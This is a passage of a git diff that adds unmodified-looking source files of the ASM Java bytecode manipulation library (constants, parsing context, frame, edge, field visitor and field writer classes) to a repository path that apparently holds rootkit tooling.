ASM_JSR opcodes + // and IFEQ, ..., IF_ACMPNE, GOTO and JSR. + static final int ASM_OPCODE_DELTA = 49; + + // The delta between the ASM_IFNULL and ASM_IFNONNULL opcodes and IFNULL and IFNONNULL. + static final int ASM_IFNULL_OPCODE_DELTA = 20; + + // ASM specific opcodes, used for long forward jump instructions. + + static final int ASM_IFEQ = IFEQ + ASM_OPCODE_DELTA; + static final int ASM_IFNE = IFNE + ASM_OPCODE_DELTA; + static final int ASM_IFLT = IFLT + ASM_OPCODE_DELTA; + static final int ASM_IFGE = IFGE + ASM_OPCODE_DELTA; + static final int ASM_IFGT = IFGT + ASM_OPCODE_DELTA; + static final int ASM_IFLE = IFLE + ASM_OPCODE_DELTA; + static final int ASM_IF_ICMPEQ = IF_ICMPEQ + ASM_OPCODE_DELTA; + static final int ASM_IF_ICMPNE = IF_ICMPNE + ASM_OPCODE_DELTA; + static final int ASM_IF_ICMPLT = IF_ICMPLT + ASM_OPCODE_DELTA; + static final int ASM_IF_ICMPGE = IF_ICMPGE + ASM_OPCODE_DELTA; + static final int ASM_IF_ICMPGT = IF_ICMPGT + ASM_OPCODE_DELTA; + static final int ASM_IF_ICMPLE = IF_ICMPLE + ASM_OPCODE_DELTA; + static final int ASM_IF_ACMPEQ = IF_ACMPEQ + ASM_OPCODE_DELTA; + static final int ASM_IF_ACMPNE = IF_ACMPNE + ASM_OPCODE_DELTA; + static final int ASM_GOTO = GOTO + ASM_OPCODE_DELTA; + static final int ASM_JSR = JSR + ASM_OPCODE_DELTA; + static final int ASM_IFNULL = IFNULL + ASM_IFNULL_OPCODE_DELTA; + static final int ASM_IFNONNULL = IFNONNULL + ASM_IFNULL_OPCODE_DELTA; + static final int ASM_GOTO_W = 220; + + private Constants() {} +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/Context.java b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/Context.java new file mode 100644 index 0000000..da7bcc7 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/Context.java @@ -0,0 +1,137 @@ +// ASM: a very small and fast Java bytecode manipulation framework +// Copyright (c) 2000-2011 INRIA, France Telecom +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without +// modification, are permitted provided that the following conditions +// are met: +// 1. Redistributions of source code must retain the above copyright +// notice, this list of conditions and the following disclaimer. +// 2. Redistributions in binary form must reproduce the above copyright +// notice, this list of conditions and the following disclaimer in the +// documentation and/or other materials provided with the distribution. +// 3. Neither the name of the copyright holders nor the names of its +// contributors may be used to endorse or promote products derived from +// this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +// ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE +// LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN +// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF +// THE POSSIBILITY OF SUCH DAMAGE. + +package org.objectweb.asm; + +/** + * Information about a class being parsed in a {@link ClassReader}. + * + * @author Eric Bruneton + */ +final class Context { + + /** The prototypes of the attributes that must be parsed in this class. */ + Attribute[] attributePrototypes; + + /** + * The options used to parse this class. One or more of {@link ClassReader#SKIP_CODE}, {@link + * ClassReader#SKIP_DEBUG}, {@link ClassReader#SKIP_FRAMES}, {@link ClassReader#EXPAND_FRAMES} or + * {@link ClassReader#EXPAND_ASM_INSNS}. + */ + int parsingOptions; + + /** The buffer used to read strings in the constant pool. */ + char[] charBuffer; + + // Information about the current method, i.e. the one read in the current (or latest) call + // to {@link ClassReader#readMethod()}. + + /** The access flags of the current method. */ + int currentMethodAccessFlags; + + /** The name of the current method. */ + String currentMethodName; + + /** The descriptor of the current method. */ + String currentMethodDescriptor; + + /** + * The labels of the current method, indexed by bytecode offset (only bytecode offsets for which a + * label is needed have a non null associated Label). + */ + Label[] currentMethodLabels; + + // Information about the current type annotation target, i.e. the one read in the current + // (or latest) call to {@link ClassReader#readAnnotationTarget()}. + + /** + * The target_type and target_info of the current type annotation target, encoded as described in + * {@link TypeReference}. + */ + int currentTypeAnnotationTarget; + + /** The target_path of the current type annotation target. */ + TypePath currentTypeAnnotationTargetPath; + + /** The start of each local variable range in the current local variable annotation. */ + Label[] currentLocalVariableAnnotationRangeStarts; + + /** The end of each local variable range in the current local variable annotation. */ + Label[] currentLocalVariableAnnotationRangeEnds; + + /** + * The local variable index of each local variable range in the current local variable annotation. + */ + int[] currentLocalVariableAnnotationRangeIndices; + + // Information about the current stack map frame, i.e. the one read in the current (or latest) + // call to {@link ClassReader#readFrame()}. + + /** The bytecode offset of the current stack map frame. */ + int currentFrameOffset; + + /** + * The type of the current stack map frame. One of {@link Opcodes#F_FULL}, {@link + * Opcodes#F_APPEND}, {@link Opcodes#F_CHOP}, {@link Opcodes#F_SAME} or {@link Opcodes#F_SAME1}. + */ + int currentFrameType; + + /** + * The number of local variable types in the current stack map frame. Each type is represented + * with a single array element (even long and double). + */ + int currentFrameLocalCount; + + /** + * The delta number of local variable types in the current stack map frame (each type is + * represented with a single array element - even long and double). This is the number of local + * variable types in this frame, minus the number of local variable types in the previous frame. + */ + int currentFrameLocalCountDelta; + + /** + * The types of the local variables in the current stack map frame. Each type is represented with + * a single array element (even long and double), using the format described in {@link + * MethodVisitor#visitFrame}. Depending on {@link #currentFrameType}, this contains the types of + * all the local variables, or only those of the additional ones (compared to the previous frame). + */ + Object[] currentFrameLocalTypes; + + /** + * The number stack element types in the current stack map frame. Each type is represented with a + * single array element (even long and double). + */ + int currentFrameStackCount; + + /** + * The types of the stack elements in the current stack map frame. Each type is represented with a + * single array element (even long and double), using the format described in {@link + * MethodVisitor#visitFrame}. + */ + Object[] currentFrameStackTypes; +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/CurrentFrame.java b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/CurrentFrame.java new file mode 100644 index 0000000..99212a3 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/CurrentFrame.java @@ -0,0 +1,56 @@ +// ASM: a very small and fast Java bytecode manipulation framework +// Copyright (c) 2000-2011 INRIA, France Telecom +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without +// modification, are permitted provided that the following conditions +// are met: +// 1. Redistributions of source code must retain the above copyright +// notice, this list of conditions and the following disclaimer. +// 2. Redistributions in binary form must reproduce the above copyright +// notice, this list of conditions and the following disclaimer in the +// documentation and/or other materials provided with the distribution. +// 3. Neither the name of the copyright holders nor the names of its +// contributors may be used to endorse or promote products derived from +// this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +// ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE +// LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN +// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF +// THE POSSIBILITY OF SUCH DAMAGE. + +package org.objectweb.asm; + +/** + * Information about the input stack map frame at the "current" instruction of a method. This is + * implemented as a Frame subclass for a "basic block" containing only one instruction. + * + * @author Eric Bruneton + */ +final class CurrentFrame extends Frame { + + CurrentFrame(final Label owner) { + super(owner); + } + + /** + * Sets this CurrentFrame to the input stack map frame of the next "current" instruction, i.e. the + * instruction just after the given one. It is assumed that the value of this object when this + * method is called is the stack map frame status just before the given instruction is executed. + */ + @Override + void execute( + final int opcode, final int arg, final Symbol symbolArg, final SymbolTable symbolTable) { + super.execute(opcode, arg, symbolArg, symbolTable); + Frame successor = new Frame(null); + merge(symbolTable, successor, 0); + copyFrom(successor); + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/Edge.java b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/Edge.java new file mode 100644 index 0000000..2a9e703 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/Edge.java @@ -0,0 +1,91 @@ +// ASM: a very small and fast Java bytecode manipulation framework +// Copyright (c) 2000-2011 INRIA, France Telecom +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without +// modification, are permitted provided that the following conditions +// are met: +// 1. Redistributions of source code must retain the above copyright +// notice, this list of conditions and the following disclaimer. +// 2. Redistributions in binary form must reproduce the above copyright +// notice, this list of conditions and the following disclaimer in the +// documentation and/or other materials provided with the distribution. +// 3. Neither the name of the copyright holders nor the names of its +// contributors may be used to endorse or promote products derived from +// this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +// ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE +// LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN +// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF +// THE POSSIBILITY OF SUCH DAMAGE. +package org.objectweb.asm; + +/** + * An edge in the control flow graph of a method. Each node of this graph is a basic block, + * represented with the Label corresponding to its first instruction. Each edge goes from one node + * to another, i.e. from one basic block to another (called the predecessor and successor blocks, + * respectively). An edge corresponds either to a jump or ret instruction or to an exception + * handler. + * + * @see Label + * @author Eric Bruneton + */ +final class Edge { + + /** + * A control flow graph edge corresponding to a jump or ret instruction. Only used with {@link + * ClassWriter#COMPUTE_FRAMES}. + */ + static final int JUMP = 0; + + /** + * A control flow graph edge corresponding to an exception handler. Only used with {@link + * ClassWriter#COMPUTE_MAXS}. + */ + static final int EXCEPTION = 0x7FFFFFFF; + + /** + * Information about this control flow graph edge. + * + *
    + *
  • If {@link ClassWriter#COMPUTE_MAXS} is used, this field contains either a stack size + * delta (for an edge corresponding to a jump instruction), or the value EXCEPTION (for an + * edge corresponding to an exception handler). The stack size delta is the stack size just + * after the jump instruction, minus the stack size at the beginning of the predecessor + * basic block, i.e. the one containing the jump instruction. + *
  • If {@link ClassWriter#COMPUTE_FRAMES} is used, this field contains either the value JUMP + * (for an edge corresponding to a jump instruction), or the index, in the {@link + * ClassWriter} type table, of the exception type that is handled (for an edge corresponding + * to an exception handler). + *
+ */ + final int info; + + /** The successor block of this control flow graph edge. */ + final Label successor; + + /** + * The next edge in the list of outgoing edges of a basic block. See {@link Label#outgoingEdges}. + */ + Edge nextEdge; + + /** + * Constructs a new Edge. + * + * @param info see {@link #info}. + * @param successor see {@link #successor}. + * @param nextEdge see {@link #nextEdge}. + */ + Edge(final int info, final Label successor, final Edge nextEdge) { + this.info = info; + this.successor = successor; + this.nextEdge = nextEdge; + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/FieldVisitor.java b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/FieldVisitor.java new file mode 100644 index 0000000..50ba6a8 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/FieldVisitor.java @@ -0,0 +1,133 @@ +// ASM: a very small and fast Java bytecode manipulation framework +// Copyright (c) 2000-2011 INRIA, France Telecom +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without +// modification, are permitted provided that the following conditions +// are met: +// 1. Redistributions of source code must retain the above copyright +// notice, this list of conditions and the following disclaimer. +// 2. Redistributions in binary form must reproduce the above copyright +// notice, this list of conditions and the following disclaimer in the +// documentation and/or other materials provided with the distribution. +// 3. Neither the name of the copyright holders nor the names of its +// contributors may be used to endorse or promote products derived from +// this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +// ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE +// LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN +// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF +// THE POSSIBILITY OF SUCH DAMAGE. +package org.objectweb.asm; + +/** + * A visitor to visit a Java field. The methods of this class must be called in the following order: + * ( {@code visitAnnotation} | {@code visitTypeAnnotation} | {@code visitAttribute} )* {@code + * visitEnd}. + * + * @author Eric Bruneton + */ +public abstract class FieldVisitor { + + /** + * The ASM API version implemented by this visitor. The value of this field must be one of {@link + * Opcodes#ASM4}, {@link Opcodes#ASM5}, {@link Opcodes#ASM6} or {@link Opcodes#ASM7}. + */ + protected final int api; + + /** The field visitor to which this visitor must delegate method calls. May be null. */ + protected FieldVisitor fv; + + /** + * Constructs a new {@link FieldVisitor}. + * + * @param api the ASM API version implemented by this visitor. Must be one of {@link + * Opcodes#ASM4}, {@link Opcodes#ASM5}, {@link Opcodes#ASM6} or {@link Opcodes#ASM7}. + */ + public FieldVisitor(final int api) { + this(api, null); + } + + /** + * Constructs a new {@link FieldVisitor}. + * + * @param api the ASM API version implemented by this visitor. Must be one of {@link + * Opcodes#ASM4}, {@link Opcodes#ASM5}, {@link Opcodes#ASM6} or {@link Opcodes#ASM7}. + * @param fieldVisitor the field visitor to which this visitor must delegate method calls. May be + * null. + */ + public FieldVisitor(final int api, final FieldVisitor fieldVisitor) { + if (api != Opcodes.ASM6 && api != Opcodes.ASM5 && api != Opcodes.ASM4 && api != Opcodes.ASM7) { + throw new IllegalArgumentException(); + } + this.api = api; + this.fv = fieldVisitor; + } + + /** + * Visits an annotation of the field. + * + * @param descriptor the class descriptor of the annotation class. + * @param visible {@literal true} if the annotation is visible at runtime. + * @return a visitor to visit the annotation values, or {@literal null} if this visitor is not + * interested in visiting this annotation. + */ + public AnnotationVisitor visitAnnotation(final String descriptor, final boolean visible) { + if (fv != null) { + return fv.visitAnnotation(descriptor, visible); + } + return null; + } + + /** + * Visits an annotation on the type of the field. + * + * @param typeRef a reference to the annotated type. The sort of this type reference must be + * {@link TypeReference#FIELD}. See {@link TypeReference}. + * @param typePath the path to the annotated type argument, wildcard bound, array element type, or + * static inner type within 'typeRef'. May be {@literal null} if the annotation targets + * 'typeRef' as a whole. + * @param descriptor the class descriptor of the annotation class. + * @param visible {@literal true} if the annotation is visible at runtime. + * @return a visitor to visit the annotation values, or {@literal null} if this visitor is not + * interested in visiting this annotation. + */ + public AnnotationVisitor visitTypeAnnotation( + final int typeRef, final TypePath typePath, final String descriptor, final boolean visible) { + if (api < Opcodes.ASM5) { + throw new UnsupportedOperationException("This feature requires ASM5"); + } + if (fv != null) { + return fv.visitTypeAnnotation(typeRef, typePath, descriptor, visible); + } + return null; + } + + /** + * Visits a non standard attribute of the field. + * + * @param attribute an attribute. + */ + public void visitAttribute(final Attribute attribute) { + if (fv != null) { + fv.visitAttribute(attribute); + } + } + + /** + * Visits the end of the field. This method, which is the last one to be called, is used to inform + * the visitor that all the annotations and attributes of the field have been visited. + */ + public void visitEnd() { + if (fv != null) { + fv.visitEnd(); + } + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/FieldWriter.java b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/FieldWriter.java new file mode 100644 index 0000000..b167c67 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/FieldWriter.java @@ -0,0 +1,346 @@ +// ASM: a very small and fast Java bytecode manipulation framework +// Copyright (c) 2000-2011 INRIA, France Telecom +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without +// modification, are permitted provided that the following conditions +// are met: +// 1. Redistributions of source code must retain the above copyright +// notice, this list of conditions and the following disclaimer. +// 2. Redistributions in binary form must reproduce the above copyright +// notice, this list of conditions and the following disclaimer in the +// documentation and/or other materials provided with the distribution. +// 3. Neither the name of the copyright holders nor the names of its +// contributors may be used to endorse or promote products derived from +// this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +// ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE +// LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN +// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF +// THE POSSIBILITY OF SUCH DAMAGE. +package org.objectweb.asm; + +/** + * A {@link FieldVisitor} that generates a corresponding 'field_info' structure, as defined in the + * Java Virtual Machine Specification (JVMS). + * + * @see JVMS + * 4.5 + * @author Eric Bruneton + */ +final class FieldWriter extends FieldVisitor { + + /** Where the constants used in this FieldWriter must be stored. */ + private final SymbolTable symbolTable; + + // Note: fields are ordered as in the field_info structure, and those related to attributes are + // ordered as in Section 4.7 of the JVMS. + + /** + * The access_flags field of the field_info JVMS structure. This field can contain ASM specific + * access flags, such as {@link Opcodes#ACC_DEPRECATED}, which are removed when generating the + * ClassFile structure. + */ + private final int accessFlags; + + /** The name_index field of the field_info JVMS structure. */ + private final int nameIndex; + + /** The descriptor_index field of the field_info JVMS structure. */ + private final int descriptorIndex; + + /** + * The signature_index field of the Signature attribute of this field_info, or 0 if there is no + * Signature attribute. + */ + private int signatureIndex; + + /** + * The constantvalue_index field of the ConstantValue attribute of this field_info, or 0 if there + * is no ConstantValue attribute. + */ + private int constantValueIndex; + + /** + * The last runtime visible annotation of this field. The previous ones can be accessed with the + * {@link AnnotationWriter#previousAnnotation} field. May be {@literal null}. + */ + private AnnotationWriter lastRuntimeVisibleAnnotation; + + /** + * The last runtime invisible annotation of this field. The previous ones can be accessed with the + * {@link AnnotationWriter#previousAnnotation} field. May be {@literal null}. + */ + private AnnotationWriter lastRuntimeInvisibleAnnotation; + + /** + * The last runtime visible type annotation of this field. The previous ones can be accessed with + * the {@link AnnotationWriter#previousAnnotation} field. May be {@literal null}. + */ + private AnnotationWriter lastRuntimeVisibleTypeAnnotation; + + /** + * The last runtime invisible type annotation of this field. The previous ones can be accessed + * with the {@link AnnotationWriter#previousAnnotation} field. May be {@literal null}. + */ + private AnnotationWriter lastRuntimeInvisibleTypeAnnotation; + + /** + * The first non standard attribute of this field. The next ones can be accessed with the {@link + * Attribute#nextAttribute} field. May be {@literal null}. + * + *

WARNING: this list stores the attributes in the reverse order of their visit. + * firstAttribute is actually the last attribute visited in {@link #visitAttribute}. The {@link + * #putFieldInfo} method writes the attributes in the order defined by this list, i.e. in the + * reverse order specified by the user. + */ + private Attribute firstAttribute; + + // ----------------------------------------------------------------------------------------------- + // Constructor + // ----------------------------------------------------------------------------------------------- + + /** + * Constructs a new {@link FieldWriter}. + * + * @param symbolTable where the constants used in this FieldWriter must be stored. + * @param access the field's access flags (see {@link Opcodes}). + * @param name the field's name. + * @param descriptor the field's descriptor (see {@link Type}). + * @param signature the field's signature. May be {@literal null}. + * @param constantValue the field's constant value. May be {@literal null}. + */ + FieldWriter( + final SymbolTable symbolTable, + final int access, + final String name, + final String descriptor, + final String signature, + final Object constantValue) { + super(Opcodes.ASM7); + this.symbolTable = symbolTable; + this.accessFlags = access; + this.nameIndex = symbolTable.addConstantUtf8(name); + this.descriptorIndex = symbolTable.addConstantUtf8(descriptor); + if (signature != null) { + this.signatureIndex = symbolTable.addConstantUtf8(signature); + } + if (constantValue != null) { + this.constantValueIndex = symbolTable.addConstant(constantValue).index; + } + } + + // ----------------------------------------------------------------------------------------------- + // Implementation of the FieldVisitor abstract class + // ----------------------------------------------------------------------------------------------- + + @Override + public AnnotationVisitor visitAnnotation(final String descriptor, final boolean visible) { + // Create a ByteVector to hold an 'annotation' JVMS structure. + // See https://docs.oracle.com/javase/specs/jvms/se9/html/jvms-4.html#jvms-4.7.16. + ByteVector annotation = new ByteVector(); + // Write type_index and reserve space for num_element_value_pairs. + annotation.putShort(symbolTable.addConstantUtf8(descriptor)).putShort(0); + if (visible) { + return lastRuntimeVisibleAnnotation = + new AnnotationWriter(symbolTable, annotation, lastRuntimeVisibleAnnotation); + } else { + return lastRuntimeInvisibleAnnotation = + new AnnotationWriter(symbolTable, annotation, lastRuntimeInvisibleAnnotation); + } + } + + @Override + public AnnotationVisitor visitTypeAnnotation( + final int typeRef, final TypePath typePath, final String descriptor, final boolean visible) { + // Create a ByteVector to hold a 'type_annotation' JVMS structure. + // See https://docs.oracle.com/javase/specs/jvms/se9/html/jvms-4.html#jvms-4.7.20. + ByteVector typeAnnotation = new ByteVector(); + // Write target_type, target_info, and target_path. + TypeReference.putTarget(typeRef, typeAnnotation); + TypePath.put(typePath, typeAnnotation); + // Write type_index and reserve space for num_element_value_pairs. + typeAnnotation.putShort(symbolTable.addConstantUtf8(descriptor)).putShort(0); + if (visible) { + return lastRuntimeVisibleTypeAnnotation = + new AnnotationWriter(symbolTable, typeAnnotation, lastRuntimeVisibleTypeAnnotation); + } else { + return lastRuntimeInvisibleTypeAnnotation = + new AnnotationWriter(symbolTable, typeAnnotation, lastRuntimeInvisibleTypeAnnotation); + } + } + + @Override + public void visitAttribute(final Attribute attribute) { + // Store the attributes in the reverse order of their visit by this method. + attribute.nextAttribute = firstAttribute; + firstAttribute = attribute; + } + + @Override + public void visitEnd() { + // Nothing to do. + } + + // ----------------------------------------------------------------------------------------------- + // Utility methods + // ----------------------------------------------------------------------------------------------- + + /** + * Returns the size of the field_info JVMS structure generated by this FieldWriter. Also adds the + * names of the attributes of this field in the constant pool. + * + * @return the size in bytes of the field_info JVMS structure. + */ + int computeFieldInfoSize() { + // The access_flags, name_index, descriptor_index and attributes_count fields use 8 bytes. + int size = 8; + // For ease of reference, we use here the same attribute order as in Section 4.7 of the JVMS. + if (constantValueIndex != 0) { + // ConstantValue attributes always use 8 bytes. + symbolTable.addConstantUtf8(Constants.CONSTANT_VALUE); + size += 8; + } + // Before Java 1.5, synthetic fields are represented with a Synthetic attribute. + if ((accessFlags & Opcodes.ACC_SYNTHETIC) != 0 + && symbolTable.getMajorVersion() < Opcodes.V1_5) { + // Synthetic attributes always use 6 bytes. + symbolTable.addConstantUtf8(Constants.SYNTHETIC); + size += 6; + } + if (signatureIndex != 0) { + // Signature attributes always use 8 bytes. + symbolTable.addConstantUtf8(Constants.SIGNATURE); + size += 8; + } + // ACC_DEPRECATED is ASM specific, the ClassFile format uses a Deprecated attribute instead. + if ((accessFlags & Opcodes.ACC_DEPRECATED) != 0) { + // Deprecated attributes always use 6 bytes. + symbolTable.addConstantUtf8(Constants.DEPRECATED); + size += 6; + } + if (lastRuntimeVisibleAnnotation != null) { + size += + lastRuntimeVisibleAnnotation.computeAnnotationsSize( + Constants.RUNTIME_VISIBLE_ANNOTATIONS); + } + if (lastRuntimeInvisibleAnnotation != null) { + size += + lastRuntimeInvisibleAnnotation.computeAnnotationsSize( + Constants.RUNTIME_INVISIBLE_ANNOTATIONS); + } + if (lastRuntimeVisibleTypeAnnotation != null) { + size += + lastRuntimeVisibleTypeAnnotation.computeAnnotationsSize( + Constants.RUNTIME_VISIBLE_TYPE_ANNOTATIONS); + } + if (lastRuntimeInvisibleTypeAnnotation != null) { + size += + lastRuntimeInvisibleTypeAnnotation.computeAnnotationsSize( + Constants.RUNTIME_INVISIBLE_TYPE_ANNOTATIONS); + } + if (firstAttribute != null) { + size += firstAttribute.computeAttributesSize(symbolTable); + } + return size; + } + + /** + * Puts the content of the field_info JVMS structure generated by this FieldWriter into the given + * ByteVector. + * + * @param output where the field_info structure must be put. + */ + void putFieldInfo(final ByteVector output) { + boolean useSyntheticAttribute = symbolTable.getMajorVersion() < Opcodes.V1_5; + // Put the access_flags, name_index and descriptor_index fields. + int mask = useSyntheticAttribute ? Opcodes.ACC_SYNTHETIC : 0; + output.putShort(accessFlags & ~mask).putShort(nameIndex).putShort(descriptorIndex); + // Compute and put the attributes_count field. + // For ease of reference, we use here the same attribute order as in Section 4.7 of the JVMS. + int attributesCount = 0; + if (constantValueIndex != 0) { + ++attributesCount; + } + if ((accessFlags & Opcodes.ACC_SYNTHETIC) != 0 && useSyntheticAttribute) { + ++attributesCount; + } + if (signatureIndex != 0) { + ++attributesCount; + } + if ((accessFlags & Opcodes.ACC_DEPRECATED) != 0) { + ++attributesCount; + } + if (lastRuntimeVisibleAnnotation != null) { + ++attributesCount; + } + if (lastRuntimeInvisibleAnnotation != null) { + ++attributesCount; + } + if (lastRuntimeVisibleTypeAnnotation != null) { + ++attributesCount; + } + if (lastRuntimeInvisibleTypeAnnotation != null) { + ++attributesCount; + } + if (firstAttribute != null) { + attributesCount += firstAttribute.getAttributeCount(); + } + output.putShort(attributesCount); + // Put the field_info attributes. + // For ease of reference, we use here the same attribute order as in Section 4.7 of the JVMS. + if (constantValueIndex != 0) { + output + .putShort(symbolTable.addConstantUtf8(Constants.CONSTANT_VALUE)) + .putInt(2) + .putShort(constantValueIndex); + } + if ((accessFlags & Opcodes.ACC_SYNTHETIC) != 0 && useSyntheticAttribute) { + output.putShort(symbolTable.addConstantUtf8(Constants.SYNTHETIC)).putInt(0); + } + if (signatureIndex != 0) { + output + .putShort(symbolTable.addConstantUtf8(Constants.SIGNATURE)) + .putInt(2) + .putShort(signatureIndex); + } + if ((accessFlags & Opcodes.ACC_DEPRECATED) != 0) { + output.putShort(symbolTable.addConstantUtf8(Constants.DEPRECATED)).putInt(0); + } + if (lastRuntimeVisibleAnnotation != null) { + lastRuntimeVisibleAnnotation.putAnnotations( + symbolTable.addConstantUtf8(Constants.RUNTIME_VISIBLE_ANNOTATIONS), output); + } + if (lastRuntimeInvisibleAnnotation != null) { + lastRuntimeInvisibleAnnotation.putAnnotations( + symbolTable.addConstantUtf8(Constants.RUNTIME_INVISIBLE_ANNOTATIONS), output); + } + if (lastRuntimeVisibleTypeAnnotation != null) { + lastRuntimeVisibleTypeAnnotation.putAnnotations( + symbolTable.addConstantUtf8(Constants.RUNTIME_VISIBLE_TYPE_ANNOTATIONS), output); + } + if (lastRuntimeInvisibleTypeAnnotation != null) { + lastRuntimeInvisibleTypeAnnotation.putAnnotations( + symbolTable.addConstantUtf8(Constants.RUNTIME_INVISIBLE_TYPE_ANNOTATIONS), output); + } + if (firstAttribute != null) { + 